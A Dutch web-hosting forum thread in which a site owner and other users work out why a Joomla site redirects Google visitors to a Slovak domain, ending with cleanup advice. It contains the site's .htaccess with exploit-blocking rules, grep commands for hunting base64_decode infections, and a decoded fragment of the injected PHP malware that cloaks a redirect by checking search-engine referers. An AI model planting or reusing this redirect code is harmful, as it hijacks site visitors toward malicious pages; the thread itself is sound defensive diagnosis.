Link in Google hacked?

[marcwillems]

Hallo,

Eén van mijn klanten heeft een website www.fietseling.org
Als men deze url in de browser intikt (met of zonder www), komt men gewoon op de website terecht.
Als men echter in Google zoekt op "Fietseling" en je klikt in de zoekresultaten op de link die naar deze site verwijst, komt je op een totaal andere site terecht.
.htaccess nagekeken en niks opmerkelijks te zien.
Weet iemand hoe dit mogelijk is?

Bij voorbaat dank

[SmilieBG]

Ik kom rechtstreeks of via google op een en dezelfde website;
misschien recent iets met de DNS gedaan, waardoor je browser / ISP nog e.e.a. in cache heeft staan? Eigen hosts file misschien?

Getest vanaf een zakelijke UPC abonnement trouwens.

[vDyl]

Dit klinkt als een soort virus die zoekresultaten manipuleert. Geef anders de website aan ons en dan Googlen wij met je mee?

[NixDevs.com]

Ik kom op: http://www.zahradnictvogreen-za.sk/l...s/www/all2.php terecht. Dit van af een Linux Box en via google.
Via duckduckgo kom ik wel op de goede website terecht: https://duckduckgo.com/?q=www.fietseling.org

[t.bloo]

Ik kom ook in .sk uit.

[magentohosting]

Ook hier getest en kom uit op de .sk.

[SmilieBG]

Kleine update vanaf mijn kant;
via Google.nl kom ik op goede website uit;
via Google.com kom ik ook uit op .sk domein :S

===

wil je anders hier _complete_ .htaccess laten zien?
Dit hebben we (bij onze technische dienst) al eerder gezien. Wat we dan merken is dat .htaccess gedupliceerd wordt, waarbij ze groot aantal lege regels zetten - en dan onderaan het redirect. Kan eventueel ook in de php code ook zitten.

[Mikey]

Dit spook gebeuren kan ook in een image zitten waarbij ze de image coden in base64, en afhankelijk van de criteria forwarden / aanpassen.

[Arieh]

De client krijgt een "302 Moved Temporarily" als je via google bezoekt.

Connection	Keep-Alive
Content-Length	0
Content-Type	text/html
Date	Tue, 02 Jul 2013 12:51:33 GMT
Keep-Alive	timeout=1, max=100
Location	http://www.zahradnictvogreen-za.sk/language/pdf_fonts/www/all2.php
Server	Apache/2
Vary	User-Agent
X-Powered-By	PHP/5.3.26

Grote kans dat het in een php file zit dus. En die dan kijkt of je bijv. via google komt, om geen argwaan te wekken bij de eigenaar die alleen via de URL zelf bezoekt.

[marcwillems]

Hallo,
dit is de htacces.
##
# @version $Id: htaccess.txt 14401 2010-01-26 14:10:00Z louis $
# @package Joomla
# @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
# @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
# Joomla! is Free Software
##


################################################## ###
# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations. It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file. If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's. If they work,
# it has been set by your server administrator and you do not need it set here.
#
################################################## ###

## Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
# mod_rewrite in use

RewriteEngine On

########## Begin - redirect naar www
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]


########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
## Deny access to extension xml files (uncomment out to activate)
#<Files ~ "\.xml$">
#Order allow,deny
#Deny from all
#Satisfy all
#</Files>
## End of deny access to extension xml files
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
#
########## End - Rewrite rules to block out some common exploits

# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root)

# RewriteBase /


########## Begin - Joomla! core SEF Section
#
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/index.php
RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$ [NC]
RewriteRule (.*) index.php
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
#
########## End - Joomla! core SEF Section

[marcwillems]

@Mikey
Kunnen we dat ergens nakijken of dat ergens in een image zit?

@Arieh
Kunnen we ergens nakijken dat er een php file daarvoor gebruikt wordt?

Bedankt

[Keizer]

Dit zie ik heel vaak, maar zit bijna altijd in de .htaccess. Zit er niet stiekem nog een .htaccess onder de public_html?

SSH toegang?

find . -name=".htaccess" | xargs grep google
find . -name="*.php" | xargs grep google
find . | xargs grep zahradnictvogreen
find . -name "*.php" | xargs grep base64_decode

[marcwillems]

@Keizer
Ik vind niet direct een andere .htaccess file terug.

Maar ik vind wel veel php files terug waar inderdaad een stuk code staat in het begin:
eval(base64_decode("DQplcnJvcl9yZXBvc ...

Als ik dat stuk code door een decoder haal, zie je inderdaad perfect de rerouting naar die .sk site en checking op zoekmachines:
...
/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://www.zahradnictvogreen-za.sk/language/pdf_fonts/www/all2.php");
exit();
}
}

We zullen dus die complete site moeten restoren met een oude backup, want blijkbaar zijn alle php files geinfecteerd met die code :-(
En dan weten we nog niet hoe dit gekomen is.

Alvast bedankt om me naar de oorzaak te leiden.

[cyrano]

De lijst is lang:

http://evuln.com/labs/www.zahradnictvogreen-za.sk/

Schijnt een --OUD-- Joomla probleem te zijn:

http://forum.joomla.org/viewtopic.php?f=621&t=804444

Phishing waarschijnlijk, van een groep die al lang bezig is en slim redirect. Alleen eerste bezoekers met een zekere config krijgen iets geserveerd. De rest wordt geweigerd. Grappig genoeg geven dus online malware scanners zoals VirusTotal deze link als "safe" weer.